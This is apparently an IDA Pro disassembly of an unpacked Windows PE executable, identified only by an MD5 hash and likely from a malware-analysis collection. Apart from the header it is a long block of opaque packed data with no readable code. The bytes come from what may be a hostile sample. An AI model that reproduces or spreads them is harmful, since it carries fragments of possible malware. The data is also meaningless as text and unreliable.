;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	3F0AD45D1C82D9F67EEAB1E131EFDE37

; File Name   :	u:\work\3f0ad45d1c82d9f67eeab1e131efde37_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00079000 ( 495616.)
; Section size in file		: 00079000 ( 495616.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_401000	dd 1E400h dup(0)
UPX0		ends

; Section 2. (virtual address 0007A000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 0007A000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 47A000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 2F5D2B86h, 0B0B6597Ch, 14B84A84h, 0AE31BACBh, 3D67D11h
		dd 56379669h, 37BBF82Bh, 699CC511h, 0CF2B86DCh,	66D795F3h
		dd 4490BFB6h, 5D2BDC69h, 5C88B899h, 182E29D3h, 2B96AC1Dh
		dd 0C803D67Dh, 0DFDFD2BEh, 0C9A5CADDh, 0CBD706C2h, 0EC0F8A86h
		dd 594D31ACh, 0DCCE8F48h, 34DC4706h, 0C82E64E2h, 0C7C72830h
		dd 5D2B8686h, 7ECDDE63h, 0EEF2EB0Ch, 2BD7B813h,	0DBDC695Dh
		dd 22C5BDh, 0D30B33B8h,	0C77D2E0Ch, 6ABBE786h, 71D6C2AEh
		dd 5D2B8D8Dh, 77295469h, 4C308A87h, 0D9102F82h,	203D67Fh
		dd 65802E17h, 0DC76FC37h, 7D2E69E8h, 0CB6C646h,	551291F3h
		dd 4B9F30AAh, 3D67D2Bh,	11D56BABh, 68E61C9Eh, 69033F39h
		dd 568C86DCh, 2338F6CCh, 0CB6E14D4h, 0F49D6B86h, 90D9D9D1h
		dd 0C0924BBh, 7D2E631Eh, 3AD2AC46h, 47F2C08Dh, 0DCD69646h
		dd 8A5D2B86h, 94CEACD6h, 93B78D25h, 0D67DC88Bh,	28C26903h
		dd 969FFF9Dh, 0D9894980h, 0D02B8D5Fh, 8AD5B613h, 3A220C1Fh
		dd 0D67D2EB8h, 0C10C36ABh, 0F3CE1CFBh, 0D67D202Ch, 8EE86903h
		dd 0D9CA8505h, 0C389842Eh, 2B86DC69h, 0CD5ECAD8h, 32783A44h
		dd 0D67D2E0Bh, 2CFECB03h, 0D832F1B7h, 0DC696333h, 0BD24467Fh
		dd 64909E76h, 974E9802h, 0D67D2A1Ah, 36AD8B03h,	0DDD52F1Eh
		dd 0EDC2A6Ah, 68C8CD17h, 0DCC4E9F4h, 2FF3C89Eh,	695D8E69h
		dd 0C2D209Ch, 181B9F25h, 7FDCC784h, 0BD603D6h, 7A8510CEh
		dd 0B8C9ACE8h, 6903D67Dh, 0ACB75DFh, 0ED3DDEEFh, 86DC6982h
		dd 9CCDAB2Bh, 8688D9B7h, 8FD82781h, 0DF5E6FBDh,	2DCF88F4h
		dd 4FB17CA6h, 0E5B09F4Fh, 5C315C3Bh, 0B0B0B22Ch, 4ED81530h
		dd 0E7B04F4Fh, 6B56CFDAh, 7083F04Eh, 0D90D3DE9h, 991B43A8h
		dd 0D6974DD4h, 0E7E91A1Bh, 9FC7070Eh, 77ACD59Dh, 0B14FDC35h
		dd 0DF1B024h, 9EDB8F4Ah, 4FE0AD3Dh, 0F705ACA5h,	0B8CD33B0h
		dd 5DCFC4ABh, 976FFF6Fh, 6158E028h, 2D3455B2h, 0D33DEC4h
		dd 69B5F8C0h, 0C56EDF4Eh, 0B1C4A1D9h, 0F53DD0C5h, 4508D830h
		dd 0A0C0B0F0h, 46AD2D06h, 0FC35E9C6h, 0B8C54FFBh, 861CD8C5h
		dd 56DF01A7h, 0B3D84C4Dh, 90FCB0B1h, 0E0B1DA93h, 0B66FCFFDh
		dd 0CCD8907Dh, 33D5B066h, 0C53F9874h, 407082B4h, 7947BDA5h
		dd 0B7B10073h, 0F45C3397h, 0CEE6CBD6h, 0F5774CF1h, 0CA5464Ch
		dd 4004B84Eh, 0A3CCABD0h, 6CDA0CD8h, 0C5D8FE02h, 88DAC3B7h
		dd 6CA444E3h, 35B1B403h, 4C78AC71h, 7C63C14Dh, 0B9E71CBh
		dd 0A839B0DAh, 0BCBBA026h, 0A848887h, 0F64796CCh, 9B7B7B4h
		dd 1BEF19BCh, 6E4F324Ch, 0E6E3E16Ch, 83E7E93Bh,	30D8E74Fh
		dd 0E7B3DADCh, 6FACEE3Dh, 0E78D0FB7h, 0E330A6D8h, 39B4E64Fh
		dd 90363D2Dh, 0CDE7E76Ch, 0ADC9EF6Bh, 0BCE601B8h, 0C58C078Dh
		dd 0A0E67AA5h, 4D0D55D0h, 0D0D8A6BAh, 0A4E65A5Ah, 4CAD625Bh
		dd 714C8483h, 0A83AE7DDh, 0EB3DEEEFh, 0B0B47279h, 0A324A835h
		dd 804B73ACh, 0CD0B97B4h, 0E8AB8EB8h, 3B0FF046h, 0BA044885h
		dd 94F8D848h, 0B35F6E62h, 88D866B9h, 643539BEh,	98AA4F61h
		dd 0C2C2C2C2h, 0B86CA868h, 0C2C2C2C9h, 4454B050h, 0ED567145h
		dd 6DB898A1h, 95C9B66h,	3B371E71h, 40D49373h, 44C16E4Ch
		dd 0CC3D9Fh, 54D85FB7h,	60C65E2h, 6F2ABF70h, 4401BC31h
		dd 0AFBF4F9Bh, 8B688440h, 4E61D242h, 4CED396Fh,	0CC1734BFh
		dd 60A7860Eh, 0E102BE4Bh, 85C7E66Ch, 0C2A421ADh, 365E5FC6h
		dd 66250CABh, 4D44E535h, 36D1CE9Ah, 0A8EB90E4h,	0BAB3900Eh
		dd 514BB7B4h, 0BDA0E7BEh, 448D3BBBh, 0AF46330Eh, 3D67406Ch
		dd 0E14448FDh, 0E6583D3Dh, 3BE3E0E1h, 0D300B8ADh, 4F4D870Bh
		dd 0A15A0E63h, 5E3166F0h, 0DBBFA248h, 35F33347h, 0D167B69Eh
		dd 0E6E048CFh, 0CC0480D8h, 92E70CEAh, 92081D63h, 2F1ACE35h
		dd 5B6CEEB9h, 7CD88Ah, 0E9DFB099h, 7E8403Bh, 0E033AC5Fh
		dd 0EDBAA8B9h, 0D9444CA5h, 0B5D19046h, 0ACE0FC6Fh, 0C6803639h
		dd 5A906EF2h, 61C561F7h, 732BEE12h, 5463E453h, 83B53EF3h
		dd 2E4A1CD1h, 5C4CAF13h, 0E9AD3AEAh, 4B3BB58Ah,	35BFE929h
		dd 3BDE3A2Bh, 0F8F00423h, 0F315B14Eh, 36EEE391h, 1C9C1A09h
		dd 1F663175h, 524F4D2Dh, 3D40CD96h, 0A5DA1CCDh,	0C41543E9h
		dd 3AFD3BD1h, 0C25C07B0h, 85752D24h, 5B954FA8h,	6BCB0E3Dh
		dd 7B1CC565h, 4C3BE6E4h, 0B9D1A083h, 0C8B7E0BCh, 1A037669h
		dd 5BDCAFB0h, 0CAA411ACh, 0C5CF5306h, 0BCF53BA6h, 0C2476CD8h
		dd 8AE6BCC0h, 4061F8F7h, 0E86DAA10h, 87653EC9h,	0B258BBD7h
		dd 0ED896B83h, 9DF2C0C0h, 502B656Ah, 864FD6C4h,	67685041h
		dd 0E622D40Bh, 0BC6BBFAEh, 967ABC90h, 80542989h, 22188809h
		dd 0E8FEF923h, 54D4D027h, 5B36D6CBh, 0B0568398h, 0C2FC2CA4h
		dd 0AC917C2Bh, 9479C40Bh, 0CC132397h, 916AF322h, 0A8413878h
		dd 0F32AF124h, 0BDD8E42Ah, 731317C0h, 0EDEC54Bh, 3BA54A2Ch
		dd 9BB7790Fh, 6E9FA7C9h, 0ACB594C5h, 14BCC7F2h,	4DB8997Ch
		dd 579BBFA2h, 3FA8C788h, 4BEC28D8h, 0DC23084h, 0F7A4F5C1h
		dd 97870FC0h, 5B24AC37h, 0E43CD86Ah, 0DC635BB2h, 0D5BCFEF8h
		dd 906BBA5Ch, 0AB078C30h, 0C79186D1h, 908914D0h, 4A4D67Fh
		dd 0BEF8ACB8h, 0B813B7BDh, 0A9B730E3h, 0DFDD7989h, 0B661F491h
		dd 0FEA843E0h, 98C7096h, 71F33F35h, 0F63BCD31h,	0E8738BB4h
		dd 0E02C34B2h, 0CF6E7FCFh, 0AC318381h, 884CAD38h, 6FBB0F1h
		dd 3E94AD84h, 0F7C956BEh, 0E884DC1Dh, 0BC5F4BA8h, 0B57699F3h
		dd 0C64FB1EEh, 0A0A80EB4h, 0E39D0C37h, 0E93E5BE6h, 0D9C237E9h
		dd 824BB078h, 0A039E465h, 3E22C282h, 0B158D8AAh, 0F254BEC0h
		dd 0A4B167FEh, 0F5C48B7h, 22349DB1h, 0C5B4EE89h, 4C5B5EA5h
		dd 446889B9h, 0B15CD09Eh, 0E20B9F1h, 0B8673D5Bh, 0C8C9BE72h
		dd 0DBE0A0C4h, 29F4694Bh, 6970979Dh, 9F738B6Dh,	0CA574DFh
		dd 0E0F92EB9h, 47A8CBF8h, 9A402BEDh, 0A817A8C2h, 70DF274Dh
		dd 6877B256h, 676E5C8Dh, 1E29B9DAh, 0E946B0EBh,	0A1E24947h
		dd 8B8EE237h, 0AC35E1D0h, 19B884D4h, 30FF5F3Ah,	39A8578Fh
		dd 0A18C9C35h, 54F539ACh, 493394BBh, 0A1509CA6h, 774F8041h
		dd 8B3A488Ch, 20C03D3Dh, 8308FD39h, 0FBC4D79h, 0AB4891CBh
		dd 7704E5DAh, 359E70F5h, 0FF837125h, 7C6B34C4h,	0A4FDE1FBh
		dd 74ED3971h, 0C889DFA0h, 0DF2A78B5h, 4000EB8Ch, 97709C4Dh
		dd 0D84F9CF6h, 0E3F7A0F1h, 48A4AFE3h, 0FD6C15C3h, 0C79D900h
		dd 0C93139F3h, 0AB2004Fh, 58FD82C4h, 82DABAC5h,	98D85C8Fh
		dd 415B007Eh, 77B83EDBh, 7D366935h, 8C5E641h, 0BEE267A0h
		dd 0BD0EF56Bh, 0D7DB2956h, 9C8F0D54h, 0A6438C47h, 0FBC3DBF3h
		dd 787BB8A1h, 0BCF20282h, 0BB80A089h, 278200C7h, 40011BECh
		dd 0D5F2653h, 6B03FC0h,	8D0FA1B3h, 86CD08B0h, 0A6CE7CEBh
		dd 0C049B875h, 14964D8h, 6B32D39Ch, 0DCE5BC96h,	607007BFh
		dd 2A9EABADh, 78A7BC0Ch, 0B3483334h, 0CBB6C3D2h, 81BFDF6Fh
		dd 8CDABEE8h, 0C6718BE9h, 0FD04FD93h, 2E7FF7A0h, 89BDF50h
		dd 0AA97BF08h, 0BB82E9BFh, 406EAE33h, 894F17BFh, 649EF8ADh
		dd 8BC4B8EDh, 29AFC069h, 3BA647DEh, 703352BDh, 33692160h
		dd 0CF87460Fh, 0F54F8C9Dh, 0C5A889B8h, 3BA45B52h, 7CCB78A6h
		dd 0B76179DBh, 3B8C5C37h, 0C10BC939h, 0D3A3C500h, 89100DECh
		dd 0C514B7FAh, 0A48757BDh, 4A8BB963h, 28ACB020h, 63E1819Ah
		dd 3DBF884Ch, 5485958h,	1E8FB785h, 664FE94Eh, 16400F29h
		dd 72331B7Fh, 86A74AB9h
		dd 0C5CF5D70h, 5F5B96B5h, 9CAE3E2h, 81D93790h, 6DA0DA86h
		dd 8BF3F154h, 68687E68h, 0A4DBECA3h, 4D5EDAF1h,	96C80378h
		dd 47A4B8E7h, 0B770AB68h, 9EECD339h, 0EBEB788Eh, 5D87C5D0h
		dd 0F6B02FE0h, 0E4472126h, 3DE826A1h, 715620ECh, 0C31C34E9h
		dd 87DCECB6h, 0C4DC6B43h, 5BB1DAB4h, 5BB2A0A0h,	0F7C4DCB7h
		dd 8F38C8C1h, 0ECC53B43h, 860CA1E8h, 0FA10319Bh, 9C2C60C1h
		dd 8390ABEEh, 0D3801FB4h, 0C539EBA8h, 8C2663BDh, 88A50ADDh
		dd 0CA88B294h, 4848513Fh, 37A8FD3Fh, 3CB80FEEh,	1BE70C9Ah
		dd 0B8C7E05Ch, 40E84A66h, 8EAC67B7h, 31B9AA63h,	0E84F40D5h
		dd 0AF30A55Bh, 0B7948F0Ch, 42D533D6h, 0B49AB9A7h, 0A543D530h
		dd 0D1D35F24h, 0F8E94011h, 0A794A18Fh, 0C47E900Ch, 154F83D2h
		dd 0C1C6BCB3h, 0EF79B380h, 3E2BC85h, 819CCF4Ah,	4B01C780h
		dd 0C3ED38E9h, 0BFCF3EBFh, 0AC11C65Ch, 76BEC70Ch, 4EF5C8B0h
		dd 3277C3F5h, 0ED9B14Fh, 7F8BC3FDh, 0A1326DCCh,	1B4C7300h
		dd 4A6865DBh, 64BCCD3Bh, 1158F59Ah, 40CC08A4h, 70D977B7h
		dd 0B561B138h, 0CD394DC2h, 45710D40h, 684F9953h, 0EE400837h
		dd 0B47346B7h, 0BC5008B7h, 0CB57837h, 744B8726h, 8ABC40Eh
		dd 910004B5h, 97EC8279h, 0C90BBF5h, 7954BEF8h, 0CA3B790h
		dd 0D52080D2h, 0B80150EAh, 55436EF6h, 0A190B439h, 10B36830h
		dd 499531B0h, 0E0AE62Ah, 941F80C3h, 0E9B48E24h,	45F2A1C7h
		dd 0ED2B48F0h, 0C2BD0A92h, 0A9E0EF20h, 0B7B4A0B4h, 2ACC4151h
		dd 4EDDA4A1h, 0F92810B3h, 9065DDCEh, 0A97CD84Ch, 888CD8BCh
		dd 540F9011h, 0A408D8A0h, 0C18748D8h, 55D0A320h, 1AB30305h
		dd 0A8B454B3h, 0D7981E62h, 0BECCB046h, 0B05DACBEh, 0B3C9A925h
		dd 379888A4h, 1D663650h, 0B540F0E8h, 6AB8CE3Bh,	0BB0E4710h
		dd 0E708090Ch, 0A0AC743Ah, 92E0240Fh, 71F08147h, 0DAA6BCD8h
		dd 8D70F3C2h, 0B236F2BCh, 0B230AC2Dh, 0EFC5ACD3h, 0C35415D5h
		dd 0B20BC2C9h, 0B8C6B202h, 169848BCh, 8228B670h, 368D2805h
		dd 0AD0A3BAh, 0A28394D3h, 68ECC20Ch, 5D9CD8DEh,	71B8E12Ch
		dd 0EA4952E0h, 8ADDB0B2h, 806935CEh, 0C981796Ch, 69748B8Ch
		dd 0B4EB89A9h, 0A8594668h, 0A99F93E0h, 5C701321h, 0A2B87D46h
		dd 0E59ED2Ch, 0E9AB54DAh, 8CC7B146h, 3F6C3468h,	0B4856B44h
		dd 1CE48947h, 439CD32h,	2275F4B1h, 0C7743C57h, 33A41FA5h
		dd 43657A51h, 933063E9h, 0D8B53771h, 67657890h,	67521EB1h
		dd 70D7F03Ch, 0ED2B35Bh, 991512Ch, 42406972h, 9CBCA458h
		dd 0EE79B3B7h, 58F3A3A1h, 16F4B3A2h, 2E5DC772h,	0FCD05007h
		dd 0DCE6C4CDh, 2D2181A0h, 9DA24350h, 0B8C50DB2h, 0C55BB8C1h
		dd 0BE7310CFh, 4FB4B423h, 0A2E8D880h, 0FEB552C3h, 4119B291h
		dd 40260D8h, 3843EBEh, 79A39B4Ch, 40E3C18Dh, 87119031h
		dd 0ECC47F66h, 0AE4F68E6h, 0AB8D4D6Ah, 4E3386CCh, 0EC81CDB2h
		dd 0FE7706BEh, 0B687B1BAh, 67DEC554h, 0DD54A908h, 5B1CBA9Eh
		dd 0CEC9292h, 5720D6BDh, 17CFAA0h, 655C3B6Fh, 0A4C55B5Bh
		dd 864FB126h, 29337314h, 48370D6Bh, 0AAEEAF19h,	7E10D191h
		dd 8F67B3F1h, 2E36A425h, 0B160E5EEh, 946FE7E6h,	23DA8EB1h
		dd 0BF3A02BAh, 6F7FB1F6h, 3486E734h, 0E7488396h, 7083A0E9h
		dd 4F4E1E1Eh, 0B8CE4635h, 0F088B480h, 48CC768Bh, 33879430h
		dd 0B073B377h, 8D11B07Dh, 49C2E6F4h, 74614F6Eh,	0E06B83E7h
		dd 0A1764F83h, 0BE75B7BAh, 279E9076h, 0F877557Bh, 9B79BB78h
		dd 937BBC7Ah, 0EC09C255h, 977D8A7Ch, 0EE7F987Eh, 7B279E49h
		dd 0AE619A60h, 0EA639D62h, 27AB64CFh, 65C2557Bh, 67FC66BFh
		dd 69A668F4h, 0E9077BB4h, 6BE76A9Eh, 6DAFA16Ch,	0EC096EE3h
		dd 6F88279Eh, 51BD50A3h, 0CC9552A2h, 53C2552Bh,	558054ACh
		dd 57A7E056h, 0C2557BFFh, 59895809h, 5BF25AA0h,	0EC095CAFh
		dd 5D87279Eh, 5FF15EADh, 889C40E5h, 41D60773h, 0E843BE42h
		dd 8744ED38h, 30DAB10Eh, 39A3A771h, 570348F5h, 0EB6B9437h
		dd 0AA209A6Ah, 0BFE14D0Ch, 0AC2631C7h, 3438D609h, 71EBFAB5h
		dd 4F374B6Fh, 468344C2h, 0C548CD8Bh, 0F43AA5B2h, 83F7748Dh
		dd 8BF6D285h, 5BCB701Eh, 0D558C241h, 3A2E089Bh,	3738D24h
		dd 3BEE475Fh, 8D3C3A91h, 91043D8Eh, 0F5B36AB3h,	4FCECD2Fh
		dd 0FD39F778h, 1E4F314Ch, 3DBD2C3Ah, 0AE38BD3Ch, 0EFCFA138h
		dd 74C27688h, 4C21CDF9h, 0FFC648B5h, 0D6D5CFF7h, 2748936Bh
		dd 193A33F6h, 433B6893h, 0C94E464Eh, 0C53985C5h, 0BA9384Ch
		dd 38486D85h, 4EB93AA6h, 3B175FC6h, 0B37B7AB3h,	0BE801DF5h
		dd 0E2ED8BF3h, 135F3064h, 7B01C289h, 3F98C4FCh,	0C7CC3B9Dh
		dd 0D7583AB5h, 0C6599B4Fh, 8E8430A0h, 0AFF6E767h, 0C2E9408Bh
		dd 0AC8D0A40h, 5944B133h, 100FE6EAh, 0EFDFF72Bh, 0E9DBE6B5h
		dd 0E6B030E0h, 20361C0Fh, 9F9CC6B1h, 0B8D40C00h, 5C64F2A9h
		dd 0B1BFDF5Fh, 8B84B80Fh, 0F90CE6Eh, 4F8C4CA0h,	0BCF5Fh
		dd 0C1A08F87h, 0FBB47733h, 0F53B55C5h, 1B5176FDh, 3EBF5301h
		dd 900FA46Dh, 3DB8F558h, 0DCDCB02Fh, 0D7FDCB68h, 0D3E3D5E3h
		dd 6A06204Bh, 0A8EF3DB3h, 0B29A9AE1h, 8A96F029h, 0B92096F6h
		dd 0C6D4E2D4h, 0F0ADB24Ch, 4F207731h, 35BFB8FDh, 0C30DF9Bh
		dd 1C8D2CA0h, 0AD0EC34Dh, 1B6936F3h, 0E69F804Eh, 10D2ED4Eh
		dd 7973313Ah, 0E6B04F80h, 5B03F58Ah, 403B80DAh,	0B2EEEEB2h
		dd 154FA0A1h, 9B65B1DAh, 0EF251776h, 580C0839h,	0F2D89C35h
		dd 31ABEF30h, 9D28C58Eh, 0C9AD4A64h, 0B473192Eh, 6B832C78h
		dd 0B8E2141h, 93B0E38Dh, 4FE79885h, 0B048E8A5h,	475FACFBh
		dd 0C634BFABh, 0A10B06B4h, 0B2DAE3B0h, 340DC1B7h, 0F0A418BBh
		dd 778BE140h, 0BF4E4A2Ch, 89FCC3F5h, 9EC578EDh,	900814B9h
		dd 358B7FE3h, 3D7BBDBAh, 56F974E1h, 4FA46D42h, 97944BD0h
		dd 0D6C7395Eh, 67655CA5h, 39C19AB3h, 0E981247Dh, 8546747Dh
		dd 27B0F041h, 0F89A650h, 46FB36B0h, 4471958Dh, 0B45EE2E7h
		dd 0A1CEB488h, 2AB2B2D8h, 7D0B7B48h, 1EBCBCB5h,	9F7C8C97h
		dd 604A35Ch, 608132D0h,	489783E3h, 0D9D2CF4Eh, 0E64589Eh
		dd 0C37F8B4Ch, 9B773B92h, 0BF5C8B71h, 0C6C74D15h, 0E1313BB3h
		dd 371B354h, 7C6B40C0h,	0F5B18012h, 37C773E7h, 256F9BABh
		dd 624B934Ah, 5EB35809h, 0A7414754h, 0C308783Bh, 4C8DCD40h
		dd 483BA3F1h, 0C90E548Fh, 90A071F8h, 0BDE98009h, 3991504Fh
		dd 440B40CDh, 0E140DD6Fh, 0AA4CF7E1h, 6CAA04B3h, 0AC6DDD63h
		dd 62A8E194h, 3984A65Eh, 998C85FDh, 9E785837h, 948454h
		dd 0A7A59C3Fh, 18C68CECh, 3B82B1FFh, 0B2F91CCDh, 603BFB02h
		dd 6E4B643Ah, 0AF63B433h, 81BF86B8h, 0D2217833h, 3373E865h
		dd 203DCEC3h, 1F90D3ECh, 0F4DAA594h, 0AF946352h, 0DA4E7C49h
		dd 8E64F57Fh, 0A1166D06h, 6F47A8A8h, 0E349F3E0h, 0EFCB4FABh
		dd 33CB8F20h, 77A54B57h, 0F57797B5h, 86C91650h,	48A340F4h
		dd 0D39D6B1h, 0DEB78098h, 887CA3D0h, 91DCA189h,	819AC8C8h
		dd 3DD08FC9h, 4A4C89B9h, 7247BAA8h, 0E718DBA6h,	96C59BC4h
		dd 0BC200C8Bh, 68C16C00h, 805B74E9h, 1AD9B4D9h,	0C15164FAh
		dd 607C9A98h, 0DA6B776Ch, 0AEB6178Ch, 300968CCh, 2D38F9E1h
		dd 5E66AD1Ah, 0A0095108h, 3B4966BEh, 4776B842h,	0BE48BA47h
		dd 4BC630A9h, 3BE6EE41h, 4771A67Ah, 285BA46h, 0A35AAF50h
		dd 47E9ADC8h, 0B8E539D5h, 3B3385C6h, 61463F33h,	0C44A6008h
		dd 0E7B878A3h, 5E6897E9h
		dd 0A870E02Eh, 7A66AB55h, 0BC7CB900h, 81E22619h, 855DB6BFh
		dd 0E300D87Bh, 9CC46421h, 0B91323B7h, 681D64B9h, 97A7205Ch
		dd 5968937Fh, 0E1AA96D5h, 2B81F6BCh, 2CE137C1h,	5398B3Bh
		dd 2D2DAF98h, 1E206E9Bh, 0E3EB98B4h, 4F4085FDh,	0C58D3317h
		dd 337083F1h, 0BFB100CDh, 11E07024h, 8DBB2320h,	2C0D80Dh
		dd 0A7A4A0B8h, 60B88999h, 0B8E5E1F6h, 765CC4ACh, 8851915Eh
		dd 0E1D7797h, 0DB3BAF0Eh, 8DE612F5h, 12191D11h,	7C2BECEDh
		dd 0F03638B1h, 0DC970294h, 1EBBCDD3h, 9A73F97h,	0B0A623D0h
		dd 0B17EA3C9h, 8712D80Ch, 8AE958D7h, 84729E29h,	0ACDB9985h
		dd 7256A3Ah, 0B81FF09Bh, 854F20B2h, 7089BAF1h, 0B4CBBB4Bh
		dd 33A0CAA6h, 0B7B048D5h, 938FE04Ch, 0F577FE8Eh, 44BDA040h
		dd 0BFB8A2E8h, 27D43570h, 0C50E99C0h, 0C872FFB9h, 0D869E6ECh
		dd 5C8B5C9Eh, 3CD89C4Eh, 0E7845DEh, 3C762ECEh, 58619F44h
		dd 55F1B3CCh, 0D242E8F1h, 514E484Ch, 53EF6BF6h,	0B85C4EEh
		dd 0B7D03F3Dh, 0D84EE49Eh, 0BA18F38Ah, 1506A00Ah, 9323982h
		dd 55A70359h, 0ECD8CD51h, 0E988F01Ah, 508ECBB6h, 380B40C9h
		dd 38EFBD8Fh, 29A280BEh, 8AAFA085h, 9CB2F237h, 2E1582ACh
		dd 4B6919B6h, 0A4D61CDFh, 64134476h, 0B797F588h, 28E497D5h
		dd 4730C575h, 0BCACAEE4h, 0E0F4E9Eh, 0E7720E31h, 53C8E5E6h
		dd 0D91677BAh, 0BAA54C5Eh, 0FBC4723Eh, 0AC0C2A4Eh, 72FEBE01h
		dd 5B205748h, 48FA5050h, 4851AFE5h, 9AA9CDB3h, 18AD3104h
		dd 48F5EA86h, 13645B77h, 75B2EEA5h, 0F72EBEB2h,	6B0A0A0Ch
		dd 323008B5h, 0B171A213h, 2C13D033h, 0EE840D6h,	0CEEA4924h
		dd 0B8276C87h, 0F5804EDAh, 8BCBBBC8h, 0AAB016C4h, 0EBFE4C32h
		dd 0F18E0099h, 0B920F06Ch, 0F03BDFC8h, 80C13BBCh, 4911F6CBh
		dd 582175BDh, 89A4F187h, 0D852EF04h, 3CE3920Eh,	0B340D894h
		dd 0B293B4F2h, 8477B37Ah, 0EDD2914Fh, 3DBAB850h, 474C8DEBh
		dd 99E94378h, 67BE4EC4h, 9CF03D3Bh, 0D869D6C2h,	0DA81C664h
		dd 830633B6h, 88338CBh,	1ADECAE9h, 0BA0E5DEh, 0FDF17307h
		dd 0D8D37B08h, 2AB9C97Ch, 1C7F88EAh, 70375034h,	0D55AC487h
		dd 0E631D43Eh, 978EAD39h, 9C5AFC48h, 3BC7E963h,	0CD34F27Eh
		dd 0E3A29D09h, 0E1C59EADh, 0EC0BA411h, 3B8D2CB5h, 0D990F748h
		dd 890CA44Fh, 0A6F51730h, 0B6A32AFDh, 0AB9F78CEh, 0B7A6D751h
		dd 373DB5DAh, 12E84C90h, 7723B83h, 7E19780h, 0CCE16547h
		dd 0ABE8D8B1h, 0F8EC112Fh, 0F862B589h, 0C571C24Bh, 9A5987BBh
		dd 0A5B54F41h, 0B1700478h, 9AD01810h, 0B9093012h, 445FBB08h
		dd 3BE64FF4h, 0ACD63341h, 0D63014C5h, 0F5B8A97Bh, 0B04E35AFh
		dd 0B1B5F676h, 3B0F763Bh, 0B68AACF1h, 0EC6F6556h, 3B983BC5h
		dd 95B494F4h, 359CB070h, 85E53DF3h, 91AF94CCh, 2DCC6864h
		dd 9A307758h, 48EFA376h, 67CC0EF4h, 51CE7E8Dh, 0BDDF48C6h
		dd 0A6E18AA8h, 0D9583B6Eh, 2FFC0B43h, 9B1AA7CEh, 0C75B8B58h
		dd 865E47BDh, 0CBE84D2Bh, 0EE8760C7h, 0C558D0E3h, 0E5E0759Bh
		dd 40A16DF7h, 1B4647A6h, 0BF8F39B4h, 94346CB6h,	5882A86Bh
		dd 38AC18EFh, 0EBEDEE5Bh, 0F8B2B411h, 35563545h, 0A0664CA4h
		dd 430644A7h, 56837AAh,	1EE0099Fh, 99ABC02Eh, 0ADBC46AEh
		dd 0B3621A48h, 8D52F0D8h, 7333A0E7h, 89148D14h,	0F61B4CEh
		dd 93C46F64h, 0A9C5B8B9h, 393472DAh, 0C839B8F6h, 0CD4FBD83h
		dd 8831BB0Ah, 3BB8A63Bh, 685BB8C6h, 8588A42Ch, 0A012B5CBh
		dd 0F069B48Dh, 58EFA4B9h, 0B639A84Ch, 0BC72A8E0h, 62E37B0h
		dd 0F62DE252h, 0AC6199C5h, 0C65CD033h, 98279D1Ah, 90330CE9h
		dd 5E44A3A4h, 0B8D050BBh, 0B95BAC29h, 9CE0B6A8h, 4FFE5EB8h
		dd 81096CB1h, 1B72EC21h, 3B4BE0A0h, 0C3092B6h, 8697B95Dh
		dd 0C5BDE6E9h, 75CFADB4h, 80085E32h, 0B088307Eh, 94B5A4C4h
		dd 975EF7BAh, 0C88D5F48h, 5ECCAF8Ch, 0EF4F7833h, 0D9471934h
		dd 6AE99E46h, 3D4C4B32h, 0AE77E636h, 0F9A5F2A8h, 0E494B326h
		dd 36EB3B66h, 0EE7745B8h, 0E3D90B5Bh, 0BFB84B69h, 8E0E787Bh
		dd 92E61686h, 7E466DEh,	0F63D1A96h, 0B79CEA2h, 56A3BF5Bh
		dd 0A8C49495h, 83507631h, 31D9B971h, 0EE06DB4Eh, 0B2C0CAEBh
		dd 7B09DE2Eh, 5E5BB758h, 0D8A88D53h, 0DA300E2Dh, 0B55E19A2h
		dd 0C7365F92h, 0E6A3A920h, 366AB612h, 65A2830Ch, 64C1E503h
		dd 783A6943h, 28DFB514h, 30EF3650h, 0C4D5B003h,	806B0585h
		dd 0DD711CC6h, 0D10F7DAEh, 95C237D9h, 0B25BEF76h, 75EBF6A8h
		dd 63EB7083h, 912209C1h, 0A0BCB829h, 0BB23BC87h, 6207DFA4h
		dd 0BE4071D3h, 0E34758D9h, 3F93D6EBh, 8DBFC5FBh, 0D6735FDDh
		dd 0E5BC07A6h, 0DCE3E573h, 1C9C1F45h, 3B2CA54Ah, 46ECD849h
		dd 289EE7E5h, 8303F332h, 8CABD56Bh, 13A2F83Dh, 5BA0CE71h
		dd 0F9FCD8E3h, 39B57165h, 8C93A00Dh, 0E1F3FFDDh, 0BC9EDCFAh
		dd 0F590E571h, 405B32AAh, 0E33FFE26h, 2F7600C0h, 0B4CB3065h
		dd 0D8FF6ED7h, 4DB35B67h, 0D7E2E7A0h, 67F2BADDh, 0A3DB0595h
		dd 0C8EF36F1h, 2740D832h, 3B48B3C3h, 968DDFB5h,	0B7B6696Ah
		dd 0B582F48Ch, 0A45C33F7h, 0B230D2B3h, 15130B8h, 61490083h
		dd 33E7B037h, 0C58F0C8Dh, 428C55ADh, 0F7B713A3h, 80D88D10h
		dd 88E7A8C5h, 0FF53DFF6h, 0B2C8B7B1h, 418C6A15h, 0A20AC469h
		dd 7FE10D2h, 97897E73h,	7B91707Eh, 707AC3DAh, 0F398F350h
